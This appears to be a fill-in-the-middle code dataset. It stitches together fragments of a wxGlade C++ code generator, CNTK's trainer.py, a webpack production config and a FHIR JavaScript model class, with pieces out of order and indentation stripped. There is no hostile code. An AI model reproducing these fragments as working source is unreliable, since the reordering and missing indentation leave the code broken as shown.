def finalize_class(self, code_obj):
# write the collected code for the class and its children
base = code_obj.WX_CLASS
klass = self.classes[code_obj]
classname = code_obj.klass
fmt_klass = self.cn_class(classname)
if self.multiple_files:
# let's see if the file to generate exists, and in this case create a SourceFileContent instance
filename = os.path.join(self.out_dir, classname.replace('::', '_') + "." + self.header_extension)
if self._overwrite or not self._file_exists(filename):
prev_src = None
else:
prev_src = SourceFileContent( os.path.join(self.out_dir, classname), self )
else:
# in this case, previous_source is the SourceFileContent instance
# that keeps info about the single file to generate
prev_src = self.previous_source
if prev_src and classname in prev_src.classes:
is_new = False
else:
# this class wasn't in the previous version of the source (if any)
is_new = True
builder = self.obj_builders[base]
mycn = getattr(builder, 'cn', self.cn)
mycn_f = getattr(builder, 'cn_f', self.cn_f)
# collect all event handlers
event_handlers = klass.event_handlers
for win_id, evt, handler, evt_type in builder.get_event_handlers(code_obj):
event_handlers.append((win_id, mycn(evt), handler, evt_type))
# try to see if there's some extra code to add to this class
extra_code = getattr(builder, 'extracode', getattr(code_obj, 'extracode', "") or "")
if extra_code:
extra_code = re.sub(r'\\n', '\n', extra_code)
extra_code = re.split(re.compile(r'^###\s*$', re.M), extra_code, 1)
klass.extra_code_h.append(extra_code[0])
if len(extra_code) > 1:
klass.extra_code_cpp.append(extra_code[1])
if not is_new:
self.warning( '%s has extra code, but you are not overwriting existing sources:'
' please check that the resulting code is correct!' % code_obj.name )
if not self.multiple_files:
if klass.extra_code_h:
self._current_extra_code_h.append( "".join( klass.extra_code_h[::-1] ) )
if klass.extra_code_cpp:
self._current_extra_code_cpp.append( "".join( klass.extra_code_cpp[::-1] ) )
default_sign = [('wxWindow*', 'parent'), ('wxWindowID', 'id')]
sign = getattr(builder, 'constructor', default_sign)
defaults = []
for t in sign:
if len(t) == 3:
defaults.append(t[2])
else:
defaults.append(None)
tmp_sign = [t[0] + ' ' + t[1] for t in sign]
sign_decl2 = ', '.join(tmp_sign)
for i in range(len(tmp_sign)):
if defaults[i]:
tmp_sign[i] += '=%s' % defaults[i]
sign_decl1 = ', '.join(tmp_sign)
sign_inst = ', '.join([t[1] for t in sign])
# custom base classes support
custom_base = code_obj.check_prop_nodefault('custom_base') and code_obj.custom_base.strip() or None
# the header and code lines
header_buffer = []
source_buffer = []
hwrite = header_buffer.append
swrite = source_buffer.append
# generate constructor code
if is_new:
pass
elif custom_base:
# custom base classes set, but "overwrite existing sources" not
# set. Issue a warning about this
self.warning( '%s has custom base classes, but you are not overwriting existing sources: '
'please check that the resulting code is correct!' % code_obj.name )
if is_new:
# header file
if custom_base:
base = ", public ".join([b.strip() for b in custom_base.split(',')])
hwrite('\nclass %s: public %s {\n' % (fmt_klass, base))
hwrite('public:\n')
# the first thing to add it the enum of the various ids
if self._mark_blocks:
hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass)
ids = klass.ids
# let's try to see if there are extra ids to add to the enum
if hasattr(builder, 'get_ids_code'):
ids.extend(builder.get_ids_code(code_obj))
if ids:
hwrite(self.tabs(1) + 'enum {\n')
for id_name in ids:
hwrite('%s%s,\n' % (self.tabs(2), id_name))
hwrite(self.tabs(1) + '};\n')
if self._mark_blocks:
hwrite(self.tabs(1) + '// end wxGlade\n\n')
# constructor prototype
hwrite(self.tabs(1) + '%s(%s);\n' % (fmt_klass, sign_decl1))
hwrite('\nprivate:\n')
# declarations of the attributes
hwrite('\n')
hwrite('protected:\n')
hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass)
for o_type, o_name in klass.sub_objs:
hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name))
hwrite(self.tabs(1) + '// end wxGlade\n')
if event_handlers:
t = self.tabs(1)
hwrite('\n' + t + 'DECLARE_EVENT_TABLE();\n')
hwrite('\npublic:\n')
already_there = set()
for win_id, evt, handler, evt_type in event_handlers:
if handler not in already_there:
hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type))
already_there.add( handler )
hwrite('}; // wxGlade: end class\n\n')
elif prev_src:
if self._mark_blocks:
hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass)
ids = klass.ids
# let's try to see if there are extra ids to add to the enum
if hasattr(builder, 'get_ids_code'):
ids.extend(builder.get_ids_code(code_obj))
if ids:
hwrite(self.tabs(1) + 'enum {\n')
for id_name in ids:
hwrite('%s%s,\n' % (self.tabs(2), id_name))
hwrite(self.tabs(1) + '};\n')
if self._mark_blocks:
hwrite(self.tabs(1) + '// end wxGlade\n')
tag = '<%swxGlade replace %s ids>' % (self.nonce, classname)
if not prev_src.replace_header( tag, "".join(header_buffer) ):
# no ids tag found, issue a warning and do nothing
self.warning("wxGlade ids block not found for %s, ids declarations code NOT generated" % code_obj.name)
# remove methods block if in old file
tag = '<%swxGlade replace %s methods>' % (self.nonce, classname)
prev_src.replace_header(tag, [])
header_buffer = []
hwrite = header_buffer.append
if self._mark_blocks:
hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass)
for o_type, o_name in klass.sub_objs:
hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name))
if self._mark_blocks:
hwrite(self.tabs(1) + '// end wxGlade\n')
tag = '<%swxGlade replace %s attributes>' % (self.nonce, classname)
if not prev_src.replace_header(tag, "".join(header_buffer)):
# no attributes tag found, issue a warning and do nothing
self.warning( "wxGlade attributes block not found for %s, attributes declarations code NOT generated" %
code_obj.name )
header_buffer = []
hwrite = header_buffer.append
if event_handlers:
already_there = prev_src.event_handlers.get(classname, set())
t = self.tabs(1)
for win_id, evt, handler, evt_type in event_handlers:
if handler not in already_there:
hwrite('%svirtual void %s(%s &event); // wxGlade: <event_handler>\n' % (t, handler, evt_type))
already_there.add( handler )
if classname not in prev_src.event_table_def:
hwrite('\nprotected:\n')
hwrite(self.tabs(1) + 'DECLARE_EVENT_TABLE()\n')
tag = '<%swxGlade event_handlers %s>' % (self.nonce, classname)
if not prev_src.replace_header( tag, "".join(header_buffer) ):
# no attributes tag found, issue a warning and do nothing
self.warning( "wxGlade events block not found for %s, event table code NOT generated" % code_obj.name )
# source file
tab = self.tabs(1)
# set the window's style
style_p = code_obj.properties.get("style")
if style_p and style_p.value_set != style_p.default_value:
style = mycn_f(style_p.get_string_value())
if style:
sign_inst = sign_inst.replace('style', '%s' % style)
# constructor
if is_new:
base = "%s(%s)" % (base, sign_inst)
if custom_base:
bases = [b.strip() for b in custom_base.split(',')]
if bases:
base = "%s(%s)" % (bases[0], sign_inst)
rest = ", ".join([b + "()" for b in bases[1:]])
if rest:
base += ", " + rest
swrite('\n%s::%s(%s):\n%s%s\n{\n' % (fmt_klass, fmt_klass, sign_decl2, tab, base) )
if self._mark_blocks:
swrite(tab + '// begin wxGlade: %s::%s\n' % (fmt_klass, fmt_klass))
# the optional initial code from the code properties
if not self.preview and code_obj.check_prop("extracode_pre"):
for l in code_obj.properties["extracode_pre"].get_lines():
swrite(tab + l)
# set size here to avoid problems with splitter windows
if 'size' in code_obj.properties and code_obj.properties["size"].is_active():
swrite( tab + self.generate_code_size(code_obj) )
for l in builder.get_properties_code(code_obj):
swrite(tab + l)
for l in klass.init:
swrite(tab + l)
if klass.final:
swrite(tab + "\n")
for l in klass.final:
swrite(tab + l)
for l in builder.get_layout_code(code_obj):
swrite(tab + l)
# the optional final code from the code properties
if not self.preview and code_obj.check_prop("extracode_post"):
for l in code_obj.properties["extracode_post"].get_lines():
swrite(tab + l)
# now check if there are extra lines to add to the constructor
for l in builder.get_init_code(code_obj):
swrite(tab + l)
swrite( self.tmpl_ctor_call_layout % {'tab':tab} )
if self._mark_blocks:
# end tag
swrite('%s%s end wxGlade\n' % (tab, self.comment_sign))
# write class function end statement
if self.tmpl_cfunc_end and is_new:
swrite( self.tmpl_cfunc_end % {'tab':tab} )
# replace code inside existing constructor block
if prev_src and not is_new:
# replace the lines inside the ctor wxGlade block
# with the new ones
tag = '<%swxGlade replace %s %s>' % (self.nonce, classname, classname)
if not prev_src.replace( tag, "".join(source_buffer) ):
# no constructor tag found, issue a warning and do nothing
self.warning( "wxGlade %s::%s block not found, relative code NOT generated" % (fmt_klass, fmt_klass) )
source_buffer = []
swrite = source_buffer.append
# generate code for event table
code_lines = self.generate_code_event_table( code_obj, is_new, tab, prev_src, event_handlers )
if prev_src and not is_new:
tag = '<%swxGlade replace %s event_table>' % (self.nonce, classname)
if not prev_src.replace( tag, "".join(code_lines) ):
# no constructor tag found, issue a warning and do nothing
self.warning( "wxGlade %s::event_table block not found, relative code NOT generated" % fmt_klass )
else:
source_buffer.extend(code_lines)
# generate code for event handler stubs
code_lines = self.generate_code_event_handler( code_obj, is_new, tab, prev_src, event_handlers )
# replace code inside existing event handlers
if prev_src and not is_new:
tag = '<%swxGlade add %s event handlers>' % (self.nonce, classname)
if not prev_src.replace( tag, "".join(code_lines) ):
# no constructor tag found, issue a warning and do nothing
self.warning( "wxGlade %s event handlers marker not found, relative code NOT generated" % fmt_klass )
else:
source_buffer.extend(code_lines)
if not self.multiple_files and prev_src:
# if this is a new class, add its code to the new_classes list of the SourceFileContent instance
if is_new:
prev_src.new_classes.append( ("".join(header_buffer), "".join(source_buffer)) )
return
if self.multiple_files:
if base in self.obj_builders:
klass.dependencies.update( getattr(self.obj_builders[base], 'import_modules', []) )
if prev_src:
tag = '<%swxGlade insert new_classes>' % self.nonce
prev_src.replace_header(tag, "")
# insert the module dependencies of this class
# WARNING: there's a double space ' ' between 'replace' and 'dependencies' in the tag below,
# because there is no class name (see SourceFileContent, line ~147)
tag = '<%swxGlade replace dependencies>' % self.nonce
code = self._format_dependencies(klass.dependencies)
prev_src.replace_header(tag, code)
# insert the extra code of this class
extra_code_h = "".join(klass.extra_code_h[::-1])
extra_code_cpp = "".join(klass.extra_code_cpp[::-1])
# if there's extra code but we are not overwriting existing sources, warn the user
if extra_code_h or extra_code_cpp:
self.warning( '%s (or one of its children) has extra code classes, but you are not overwriting '
'existing sources: please check that the resulting code is correct!' % code_obj.name )
extra_code_h = self._tagcontent("::extracode", extra_code_h)
extra_code_cpp = self._tagcontent("::extracode", extra_code_cpp)
tag = '<%swxGlade replace extracode>' % self.nonce
prev_src.replace_header(tag, extra_code_h)
prev_src.replace(tag, extra_code_cpp)
# store the new file contents to disk
name = os.path.join(self.out_dir, classname)
self.save_file( name +"."+ self.header_extension, "".join(prev_src.header_content), content_only=True )
self.save_file( name +"."+ self.source_extension, "".join(prev_src.content), content_only=True )
return
# create the new source file
header_file = os.path.join(self.out_dir, classname + "." + self.header_extension)
source_file = os.path.join(self.out_dir, classname + "." + self.source_extension)
hout = []
sout = []
# header file ----------------------------------------------------------------------------------------------
# isolation directives
hn = os.path.basename(header_file).upper().replace('.', '_')
hout.append('#ifndef %s\n#define %s\n' % (hn, hn))
hout.append('\n')
# write the common lines
hout.extend( self.header_lines )
hout.append('\n')
# write the module dependencies for this class
code = self._format_dependencies(klass.dependencies)
hout.append(code)
hout.append('\n')
# insert the extra code of this class
extra_code_h = "".join(klass.extra_code_h[::-1])
extra_code_h = self._tagcontent('::extracode', extra_code_h)
hout.append(extra_code_h)
hout.append('\n')
# write the class body
for line in header_buffer:
hout.append(line)
hout.append('\n#endif // %s\n' % hn)
# source file ----------------------------------------------------------------------------------------------
# write the common lines
sout.append(self.header_lines[0])
sout.append('#include "%s"\n\n' % os.path.basename(header_file))
# insert the extra code of this class
extra_code_cpp = "".join(klass.extra_code_cpp[::-1])
extra_code_cpp = self._tagcontent('::extracode', extra_code_cpp)
sout.append(extra_code_cpp)
sout.append('\n')
# write the class implementation
sout.extend(source_buffer)
# store source to disk
self.save_file(header_file, hout)
self.save_file(source_file, sout)
else: # not self.multiple_files
# write the class body onto the single source file
self.output_header.extend(header_buffer)
self.output_file.extend(source_buffer)
def add_object(self, klass, parent, parent_builder, obj):
# get the widget builder instance
builder = self._get_object_builder(klass, obj)
if not builder: return None
try:
init, ids, final = builder.get_code(obj)
except:
print(obj)
raise # this shouldn't happen
if not obj.IS_SIZER: # the object is a wxWindow instance
if obj.check_prop_truth("extracode_pre"):
init = obj.properties["extracode_pre"].get_lines() + init
if obj.check_prop_truth("extracode_post"):
init += obj.properties["extracode_post"].get_lines()
if obj.check_prop_truth('extraproperties'): # insert these only after extracode_post
init += self.generate_code_extraproperties(obj)
mycn = getattr(builder, 'cn', self.cn)
for win_id, evt, handler, evt_type in builder.get_event_handlers(obj):
klass.event_handlers.append( (win_id, mycn(evt), handler, evt_type) )
# try to see if there's some extra code to add to this class
extra_code = getattr(builder, 'extracode', getattr(obj, 'extracode', "") or "" )
if extra_code:
extra_code = re.sub(r'\\n', '\n', extra_code)
extra_code = re.split(re.compile(r'^###\s*$', re.M), extra_code, 1)
klass.extra_code_h.append(extra_code[0])
if len(extra_code) > 1:
klass.extra_code_cpp.append(extra_code[1])
# if we are not overwriting existing source, warn the user about the presence of extra code
if not self.multiple_files and self.previous_source:
self.warning( '%s has extra code, but you are not overwriting existing sources: please check '
'that the resulting code is correct!' % obj.name )
klass.ids.extend(ids)
if self.store_as_attr(obj):
if obj.check_prop("instance_class"):
klassname = obj.instance_class
else:
klassname = obj.get_prop_value("class", obj.WX_CLASS)
klass.sub_objs.append( (klassname, obj.name) )
klass.init.extend(init)
if parent_builder: # add to sizer or notebook
klass.init.extend( parent_builder.get_code_per_child(parent, obj) )
klass.final[:0] = final
if self.multiple_files and obj.IS_CLASS:
klass.dependencies.append(obj.klass)
else:
if obj.WX_CLASS in self.obj_builders:
headers = getattr(self.obj_builders[obj.WX_CLASS], 'import_modules', [])
klass.dependencies.update(headers)
return builder
def generate_code_event_handler(self, code_obj, is_new, tab, prev_src, event_handlers):
"""Generate the event handler stubs
Parameters:
code_obj: Object to generate code for (CodeObject)
is_new: Indicates if previous source code exists (bool)
tab: Indentation of function body (str)
prev_src: Previous source code (SourceFileContent)
event_handlers: List of event handlers
see: tmpl_func_event_stub"""
code_lines = []
swrite = code_lines.append
if not event_handlers:
return []
tmpl_handler = """
void %(klass)s::%(handler)s(%(evt_type)s &event) // wxGlade: %(klass)s.<event_handler>
{
%(tab)sevent.Skip();
%(tab)s// notify the user that he hasn't implemented the event handler yet
%(tab)swxLogDebug(wxT("Event handler (%(klass)s::%(handler)s) not implemented yet"));
}
"""
if prev_src:
already_there = prev_src.event_handlers.get(code_obj.klass, set())
else:
already_there = set()
for win_id, event, handler, evt_type in event_handlers:
if handler not in already_there:
swrite( tmpl_handler % {'evt_type': evt_type, 'handler': handler, 'klass': code_obj.klass, 'tab': tab} )
already_there.add( handler )
if is_new or not prev_src:
swrite('\n\n')
swrite('// wxGlade: add %s event handlers\n' % code_obj.klass)
if is_new or not prev_src:
swrite('\n')
return code_lines
def generate_code_event_table(self, code_obj, is_new, tab, prev_src, event_handlers):
"""Generate code for event table declaration.
code_obj: Object to generate code for (CodeObject)
is_new: Indicates if previous source code exists (bool)
tab: Indentation of function body (str)
prev_src: Previous source code (SourceFileContent)
event_handlers: List of event handlers (strings)"""
code_lines = []
write = code_lines.append
if not event_handlers:
return code_lines
if prev_src and code_obj.klass in prev_src.event_table_decl:
has_event_table = True
else:
has_event_table = False
if is_new or not has_event_table:
write('\nBEGIN_EVENT_TABLE(%s, %s)\n' % (code_obj.klass, code_obj.WX_CLASS))
write(tab + '// begin wxGlade: %s::event_table\n' % code_obj.klass)
for obj, event, handler, evt_type in event_handlers:
if obj is None: continue
if isinstance(obj, str):
win_id = obj
else:
win_id = self.generate_code_id(obj)[1]
if 'EVT_NAVIGATION_KEY' in event:
tmpl = '%(tab)s%(event)s(%(klass)s::%(handler)s)\n'
else:
tmpl = '%(tab)s%(event)s(%(win_id)s, %(klass)s::%(handler)s)\n'
details = { 'tab': tab, 'event': event, 'win_id': win_id, 'klass': code_obj.klass, 'handler': handler }
write(tmpl % details)
write(tab + '// end wxGlade\n')
if is_new or not has_event_table:
write('END_EVENT_TABLE();\n\n')
return code_lines
def generate_code_id(self, obj, id=None):
if id is None:
id = obj.window_id
if not id:
if obj is not None and obj.check_prop_truth("stockitem"):
return '', "wxID_" + obj.stockitem
return '', 'wxID_ANY'
id = str(id)
tokens = id.split('=', 1)
if len(tokens) != 2:
return '', tokens[0] # we assume name is declared elsewhere
name, val = tokens
if not name:
return '', val
name = name.strip()
val = val.strip()
if val == '?':
val = self.generated_ids.get(name)
if val is None:
val = 'wxID_HIGHEST + %d' % self.last_generated_id
self.last_generated_id += 1
self.generated_ids[name] = val
else:
val = val
return '%s = %s' % (name, val), name
def generate_code_size(self, obj):
objname = self.format_generic_access(obj)
if obj.IS_CLASS:
name2 = 'this'
else:
name2 = obj.name
size = obj.properties["size"].get_string_value()
use_dialog_units = (size[-1] == 'd')
method = 'SetMinSize' if obj.parent_window else 'SetSize'
if use_dialog_units:
return '%s%s(wxDLG_UNIT(%s, wxSize(%s)));\n' % (objname, method, name2, size[:-1])
return '%s%s(wxSize(%s));\n' % (objname, method, size)
def quote_path(self, s):
return 'wxT(%s)' % super(CPPCodeWriter, self).quote_path(s)
def _quote_str(self, s):
if self._use_gettext:
return '_("%s")' % s
return 'wxT("%s")' % s
def format_generic_access(self, obj):
if obj.IS_CLASS:
return ''
return '%s->' % obj.name
def _format_dependencies(self, dependencies):
"Format a list of header files for the dependencies output"
dep_list = []
for dependency in sorted(dependencies): # unique and sorted
if dependency and ('"' != dependency[0] != '<'):
dep_list.append('#include "%s.h"\n' % dependency)
else:
dep_list.append('#include %s\n' % dependency)
return self._tagcontent( '::dependencies', dep_list )
writer = CPPCodeWriter() # The code writer is an instance of CPPCodeWriter
language = writer.language # Language generated by this code generator
| if self.previous_source:
# insert all the new custom classes inside the old file
tag = '<%swxGlade insert new_classes>' % self.nonce
if self.previous_source.new_classes:
code = "".join([c[0] for c in self.previous_source.new_classes])
else:
code = ""
self.previous_source.replace_header(tag, code)
extra_source = "".join([c[1] for c in self.previous_source.new_classes])
# extra code (see the 'extracode' property of top-level widgets)
tag = '<%swxGlade replace extracode>' % self.nonce
code = self._tagcontent( '::extracode', self._current_extra_code_h )
self.previous_source.replace_header(tag, code)
code = self._tagcontent( '::extracode', self._current_extra_code_cpp )
self.previous_source.replace(tag, code)
# --------------------------------------------------------------
# now remove all the remaining <123415wxGlade ...> tags from the source:
# this may happen if we're not generating multiple files, and one of the container class names is changed
tags = re.compile( r'(<%swxGlade replace ([a-zA-Z_]*\w*) (\w+)>)' % self.nonce )
for i,line in enumerate(self.previous_source.header_content):
match = tags.match(line)
if not match: continue
tag = match.groups()
if tag[2] == 'dependencies':
#self._logger.debug('writing dependencies')
deps = set()
for code in self.classes.values():
deps.update(code.dependencies)
lines = self._format_dependencies( deps )
elif tag[2] == 'methods':
lines = ''
else:
lines = '// content of this block (%s) not found: did you rename this class?\n' % tag[2]
self.previous_source.replace_header(tag[0], lines)
# remove all the remaining <123415wxGlade ...> tags in source file XXX make more efficient
self._content_notfound( self.previous_source )
tag_start = r'<%swxGlade add ' % self.nonce
tag_end = r' event_handlers>'
for i, line in enumerate(self.previous_source.content):
if line.startswith(tag_start) and line.endswith(tag_end):
source_content.content[i] = ""
# write the new file contents to disk
header_content = "".join( self.previous_source.header_content )
self.save_file( self.previous_source.name + "." + self.header_extension, header_content, content_only=True )
if extra_source:
extra_source = '\n\n' + extra_source
source_content = "".join( self.previous_source.content )
self.save_file( self.previous_source.name + "." + self.source_extension, source_content + extra_source,
content_only=True )
elif not self.multiple_files:
oh = os.path.basename(self.output_name).upper() + '_H'
self.output_header.append('\n#endif // %s\n' % oh)
# write the list of include files
deps = set()
for code in self.classes.values():
deps.update(code.dependencies)
code = self._format_dependencies( deps )
self.output_header_replace( '<%swxGlade replace dependencies>' % self.nonce, code )
# extra code (see the 'extracode' property of top-level widgets)
tag = '<%swxGlade replace extracode>' % self.nonce
code = self._tagcontent('::extracode', self._current_extra_code_h)
self.output_header_replace( tag, code )
code = self._tagcontent('::extracode', self._current_extra_code_cpp)
self.output_file_replace( tag, code )
self.save_file( self.output_name + "." + self.header_extension, self.output_header, self._app_added )
self.save_file( self.output_name + "." + self.source_extension, self.output_file, self._app_added )
self.output_file = self.output_header = None |
trainer.py |
# Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE.md file in the project root
# for full license information.
# ==============================================================================
from .. import cntk_py
from ..device import use_default_device
from cntk.internal import sanitize_var_map, sanitize_function, typemap, \
_value_as_sequence_or_array
from cntk.internal.utils import _py_dict_to_cntk_dict
from ..io import MinibatchData
__doc__ = '''\
A trainer encapsulates the overall training process and employs one or more
:mod:`~cntk.learners` to tune the parameters of a specified model
using gradients of parameters w.r.t. a training objective.
'''
class Trainer(cntk_py.Trainer):
'''
Class for training the model parameters of a models' specified loss function, using the
specified set of ``parameter_learners`` for updating the model's parameters
using computed gradients.
An optional specified metric function, which can be non-differentiable,
can be used for tracking the trained model's quality.
Args:
model (:class:`~cntk.ops.functions.Function`): root node of the function to train
criterion (tuple of :class:`~cntk.ops.functions.Function` or :class:`~cntk.variables.Variable`):
Function with one or two outputs, representing loss and, if given, evaluation metric (in this order).
Alternatively, a tuple(loss Function, evaluation Function) is also accepted.
parameter_learners (list): list of learners from :mod:`cntk.learners`
progress_writers (list): optionally, list of progress writers from :mod:`cntk.utils` to automatically track
training progress.
Todo:
Allow to skip some parameters that should not be updated.
'''
@staticmethod
def _get_loss_metric(criterion): # helper to interpret criterion parameter
if isinstance(criterion, cntk_py.Function): # input can be a tuple of Functions or a tuple-valued Function
criterion = criterion.outputs # break up tuple-valued Function into tuple of Functions
# map Variable to Function
from cntk import combine
criterion = tuple([combine([output], output.name) if isinstance(output, cntk_py.Variable) else output for output in criterion])
if len(criterion) == 1:
criterion = criterion + (None,) # tuple of 1 value: pad with None
elif len(criterion) != 2:
raise ValueError("criterion parameter must be a singleton or a tuple of 2 elements")
return criterion
def __init__(self, model, criterion, parameter_learners, progress_writers=None):
loss_function, eval_function = Trainer._get_loss_metric(criterion)
# TODO sanitizing should be removed once Swig's typemaps are in place
if model is not None: # None means dummy model that is, e.g., the same as a criterion
model = sanitize_function(model)
loss_function = sanitize_function(loss_function)
if eval_function is not None:
eval_function = sanitize_function(eval_function)
if not isinstance(parameter_learners, list):
parameter_learners = [parameter_learners]
if progress_writers is None:
progress_writers = []
elif not isinstance(progress_writers, list):
progress_writers = [progress_writers]
trainer = cntk_py.trainer_impl(model, loss_function, eval_function, parameter_learners, progress_writers)
# transplant into this class instance
self.__dict__ = trainer.__dict__
# TODO: bring this back once the design has been settled
def _train_test_mb_map_args(self, *args, **kwargs):
'''helper function for mimicking Python calling convention in train/test_minibatch()'''
# one argument, which is an arg map or a (map, bool) tuple
if len(args) == 1 and isinstance(args[0], (dict, tuple)):
return args[0]
# map to function arguments
args = self.loss_function.argument_map(*args, **kwargs)
# in this use case, all must have the same inputs (subsets of loss) since they are all called as a single combined function
if self.model:
for arg in self.model.arguments:
if arg not in self.loss_function.arguments:
raise ValueError("model function must share its arguments with the loss function")
if self.evaluation_function:
for arg in self.evaluation_function.arguments:
if arg not in self.loss_function.arguments:
raise ValueError("evaluation function must have the same signature and inputs as the loss function")
return args
def train_minibatch(self, arguments, outputs=None, device=None):
'''
Optimize model parameters using the specified 'arguments' minibatch of training samples.
Args:
arguments: maps variables to their input data. Empty map signifies
end of local training data.
The interpretation depends on the input type:
* `dict`: keys are input variable or names, and values are the input data.
* any other type: if node has an unique input, ``arguments`` is mapped to this input.
For nodes with more than one input, only `dict` is allowed.
In both cases, every sample in the data will be interpreted
as a new sequence. To mark samples as continuations of the
previous sequence, specify ``arguments`` as `tuple`: the
first element will be used as ``arguments``, and the second one will
be used as a list of bools, denoting whether a sequence is a new
one (`True`) or a continuation of the previous one (`False`).
Data should be either NumPy arrays or a
:class:`~cntk.io.MinibatchData` instance.
outputs (iterable): outputs to fetch values for.
device (:class:`~cntk.device.DeviceDescriptor`): the device descriptor that
contains the type and id of the device on which the computation is
to be performed.
Note:
See :meth:`~cntk.ops.functions.Function.forward` for examples on
passing input data.
Returns:
`bool` or `tuple`:
If ``outputs`` have not been provided, the returned value is `True`
if updates have been performed, `False` if all parameter learners
indicate end of learning (through their update). Otherwise, the
return value is a tuple of the that `bool` and a dictionary that
maps the variables in `outputs` to their respective NumPy arrays.
'''
if not device:
device = use_default_device()
if arguments: # arguments must feed all inputs (model, loss, eval)
all_args = set(self.loss_function.arguments)
if self.model:
all_args |= set(self.model.arguments)
if self.evaluation_function:
all_args |= set(self.evaluation_function.arguments)
arguments = sanitize_var_map(tuple(all_args), arguments,
extract_values_from_minibatch_data = False, device=device)
contains_minibatch_data = False
if (len(arguments) > 0):
value = next(iter(arguments.values()))
contains_minibatch_data = isinstance(value, MinibatchData)
if outputs:
output_map = {v: None for v in outputs}
if contains_minibatch_data:
updated = super(Trainer, self).train_minibatch_overload_for_minibatchdata(
arguments, output_map, device)
else:
updated = super(Trainer, self).train_minibatch(arguments,
output_map, device)
for k, v in output_map.items():
output_map[k] = _value_as_sequence_or_array(v, k)
return updated, output_map
else:
if contains_minibatch_data:
updated = super(Trainer, self).train_minibatch_overload_for_minibatchdata(
arguments, device)
else:
updated = super(Trainer, self).train_minibatch(arguments,
device)
return updated
def test_minibatch(self, arguments, device=None):
'''
Test the model on the specified batch of samples using the evaluation
Function specified during construction of the Trainer.
Args:
arguments: maps variables to their
input data. The interpretation depends on the input type:
* `dict`: keys are input variable or names, and values are the input data.
See :meth:`~cntk.ops.functions.Function.forward` for details on passing input data.
* any other type: if node has an unique input, ``arguments`` is mapped to this input.
For nodes with more than one input, only `dict` is allowed.
In both cases, every sample in the data will be interpreted
as a new sequence. To mark samples as continuations of the
previous sequence, specify ``arguments`` as `tuple`: the
first element will be used as ``arguments``, and the second one will
be used as a list of bools, denoting whether a sequence is a new
one (`True`) or a continuation of the previous one (`False`).
Data should be either NumPy arrays or a
:class:`~cntk.io.MinibatchData` instance.
device (:class:`~cntk.device.DeviceDescriptor`): the device descriptor that
contains the type and id of the device on which the computation is
to be performed.
Note:
See :meth:`~cntk.ops.functions.Function.forward` for examples on
passing input data.
Returns:
`float`: the average evaluation criterion value per sample for the
tested minibatch.
'''
if not device:
device = use_default_device()
# pass all args of all parts (model, loss, eval)
all_args = set(self.loss_function.arguments)
if self.model:
all_args |= set(self.model.arguments)
if self.evaluation_function:
all_args |= set(self.evaluation_function.arguments)
arguments = sanitize_var_map(tuple(all_args), arguments)
return super(Trainer, self).test_minibatch(arguments, device)
def save_checkpoint(self, filename, external_state={}):
'''
Saves a checkpoint of the model and other Trainer state at the
specified file location.
In distributed environment the checkpointing is done by
the main worker.
Args:
filename (str): filename to store the checkpoint.
'''
super(Trainer, self).save_checkpoint(filename, _py_dict_to_cntk_dict(external_state))
def restore_from_checkpoint(self, filename):
|
@property
@typemap
def model(self):
'''
The model that the trainer is training.
'''
return super(Trainer, self).model()
@property
@typemap
def loss_function(self):
'''
The loss function that the trainer is using.
'''
return super(Trainer, self).loss_function()
@property
@typemap
def evaluation_function(self):
'''
The evaluation function that the trainer is using.
'''
return super(Trainer, self).evaluation_function()
@property
@typemap
def parameter_learners(self):
'''
The parameter learners that the trainer is using.
'''
return super(Trainer, self).parameter_learners()
@property
def previous_minibatch_loss_average(self):
'''
The average training loss per sample for the last minibatch trained
'''
return super(Trainer, self).previous_minibatch_loss_average()
@property
def previous_minibatch_evaluation_average(self):
'''
The average evaluation criterion value per sample for the last minibatch trained
'''
return super(Trainer, self).previous_minibatch_evaluation_average()
@property
def previous_minibatch_sample_count(self):
'''
The number of samples in the last minibatch trained with
'''
return super(Trainer, self).previous_minibatch_sample_count()
@property
def total_number_of_samples_seen(self):
'''
The number of samples seen globally between all workers from the beginning of training.
'''
return super(Trainer, self).total_number_of_samples_seen()
def summarize_training_progress(self):
'''
Updates the progress writers with the summary of training progress since start and resets the internal
accumulators.
'''
return super(Trainer, self).summarize_training_progress()
def summarize_test_progress(self):
'''
Updates the progress writers with the summary of test progress since start and resets the internal
accumulators.
'''
return super(Trainer, self).summarize_test_progress()
| '''
Restores a checkpoint of the model and Trainer state from the
specified file location.
Args:
filename (str): filename to restore the checkpoint from
'''
super(Trainer, self).restore_from_checkpoint(filename) |
webpack.production.js | const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin'); | const VueLoaderPlugin = require('vue-loader/lib/plugin');
module.exports = {
output: {
path: path.resolve(__dirname, 'build'),
publicPath: '/',
filename: 'build.[chunkhash].js',
chunkFilename: '[id].[chunkhash].js',
},
plugins: [
new CleanWebpackPlugin(),
new HtmlWebpackPlugin({
inject: 'body',
template: 'src/index.html',
title: 'Title',
}),
new VueLoaderPlugin(),
],
optimization: {
minimizer: [ new TerserPlugin({
sourceMap: true,
terserOptions: {
compress: {
pure_funcs: ['console.log'],
},
}
})]
},
}; | const { CleanWebpackPlugin } = require('clean-webpack-plugin');
const TerserPlugin = require('terser-webpack-plugin'); |
explanationofbenefitrelated.js | /**
* @name exports
* @summary ExplanationOfBenefitRelated Class
*/
module.exports = class ExplanationOfBenefitRelated {
constructor(opts) {
// Create an object to store all props
Object.defineProperty(this, '__data', { value: {} });
// Define getters and setters as enumerable
Object.defineProperty(this, '_id', {
enumerable: true,
get: () => this.__data._id,
set: value => {
if (value === undefined || value === null) {
return;
}
let Element = require('./element.js');
this.__data._id = new Element(value);
},
});
Object.defineProperty(this, 'id', {
enumerable: true,
get: () => this.__data.id, | set: value => {
if (value === undefined || value === null) {
return;
}
this.__data.id = value;
},
});
Object.defineProperty(this, 'extension', {
enumerable: true,
get: () => this.__data.extension,
set: value => {
if (value === undefined || value === null) {
return;
}
let Extension = require('./extension.js');
this.__data.extension = Array.isArray(value) ? value.map(v => new Extension(v)) : [new Extension(value)];
